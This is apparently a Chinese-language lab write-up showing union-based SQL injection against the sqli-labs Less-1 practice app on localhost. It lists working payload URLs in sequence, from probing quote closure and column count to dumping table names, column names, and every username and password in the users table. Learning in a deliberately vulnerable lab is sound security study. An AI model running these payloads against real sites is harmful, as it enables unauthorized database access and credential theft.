联合查询有前提 必须有显示位
用sql-labs来学习
这是第一个
http://127.0.0.1/sqli-labs/Less-1/?id=1
一、判断是否用'做字符串引号
http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+
https://blog.csdn.net/qq_41630808/article/details/80570197
正常输出
出错代表没有闭合 说明没有用' 可能没有用' 或用了"或()
http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+
则是''字符串注入
二、判断它所在的数据库有几列
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列
正常
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列
错误
说明它输出的内容所在的数据库有3列
四、判断他显示的内容在数据库的第几列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
则
Your Login name 在第二列
Your Password在第三列
我选择在第二列输出我想要的内容
五、查找出当前用户权限
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
root权限
六、查找当前数据库
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
当前数据库是 security
七、查找security的表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
表名是
emails,referers,uagents,users
八 、查找users里的字段
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+
九、查找用户名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+
十、查找密码
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+
这样 这个就完成了 已经拿到了账号密码